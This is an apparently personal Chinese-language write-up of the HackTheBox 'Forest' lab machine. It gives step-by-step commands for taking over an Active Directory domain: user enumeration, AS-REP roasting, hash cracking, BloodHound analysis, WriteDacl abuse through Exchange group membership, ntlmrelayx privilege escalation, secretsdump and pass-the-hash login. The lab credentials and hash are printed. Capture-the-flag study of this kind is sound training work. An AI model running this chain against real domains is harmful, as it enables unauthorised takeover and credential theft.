Forest - HackTheBox
Td

image

nmap扫描

image

image

先看看http端口

image

从上往下尝试

53端口DNS解析可以爆破子域名

image

在389端口扫描信息中发现一个域名,利用nslookup可以查看解析

image

但这里没有http服务,爆破子域名意义不大,将其添加到hosts文件

image

88端口可以用kerbrute进行枚举

https://github.com/ropnop/kerbrute

./kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local /usr/share/wordlists/wfuzz/others/names.txt

image

枚举出了一堆用户名

在进行389端口ldap测试

ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" -s sub

image

太多了,过滤一下

ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" -s sub|grep -i account

image

image

发现一个疑似用户名,再用kerbrute测试一下

image

确实存在

尝试获取票据

https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py

python getnpuser.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request

image

密码直接回车为空

尝试爆破一下密文

image

通过特征查找密文类型

image

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt

image

得到明文密码

用该账户的用户名和密码去测试445端口smb服务

smbmap -H 10.10.10.161 -u svc-alfresco -p s3rvice

image

发现共享文件夹,两个无权限,三个有读权限

如果admin目录拥有可读写权限的情况,可以使用psexec.py进行登录

https://github.com/fortra/impacket/blob/master/examples/psexec.py

python psexec.py -dc-ip 10.10.10.161 htb.local/svc-alfresco:s3rvice@10.10.10.161

image

查看其他目录

最终发现SYSVOL下有文件

smbclient //10.10.10.161/SYSVOL -U svc-alfresco%s3rvice

image

image

https://adsecurity.org/?p=2288

在Policies下,可能会存在一个xml文件,文件中会包含账户和明文密码

image

但这里并没有

得到了明文密码,尝试利用evil_winrm通过5985端口进行登录

evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161

image

提权

使用BloodHound进行域控的信息收集

https://blog.csdn.net/qq_48904485/article/details/124403996

https://github.com/BloodHoundAD/SharpHound

该说不说,这玩意有点折腾

将收集信息的exe程序上传到靶机

image

upload SharpHound.exe

image

运行即可

image

运行结束后,会在当前目录生成一个zip压缩包

image

将压缩包下载到本地

download 20230430003452_BloodHound.zip

image

image

将压缩包上传到BloodHound中

在点击

image

image

这里会给出当前用户所在组以及更高一层组,直到域控制器的路线图

在HTB.LOCAL的域控制器前一步,看到一个EXCHANGE WINDOWS对其拥有WriteDacl权限

这个权限可以对域控制器上的所有DACL进行读写修改

image

先创建一个普通用户

net user test123 1qaz@WSX /add /domain

image

在将用户添加到Exchange Windows Permissions组和远程登录的Remote Management Users组中

一个是域内的拥有DACL读写权限的组,一个是本地的远程登陆的组

net group 'Exchange Windows Permissions' test123 /add /domain

net localgroup 'Remote Management Users' test123 /add

在利用创建好的用户进行登录

evil-winrm -u test123 -p 1qaz@WSX -i 10.10.10.161

image

image

然后使用secretsdump.py进行抓取administrator的哈希值密码

https://github.com/fortra/impacket/blob/impacket_0_9_22/examples/secretsdump.py

image

但是貌似无用

得先用ntlmrelayx.py进行一个类似建立连接的做法

https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py

python ntml.py -t ldap://10.10.10.161 --escalate-user test123

之后访问localhost:80

image

image

在这输入test123的账户和密码

image

在尝试获取哈希值

python3 dump.py htb.local/test123@10.10.10.161 -dc-ip 10.10.10.161 -just-dc

image

利用psexec.py使用哈希值登录

python psexec.py htb.local/administrator@10.10.10.161 'powershell.exe' -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

image

就是这shell有点奇奇怪怪的

image


其实evil和psexec这些,kali都是自带的,在impacket套件里面。。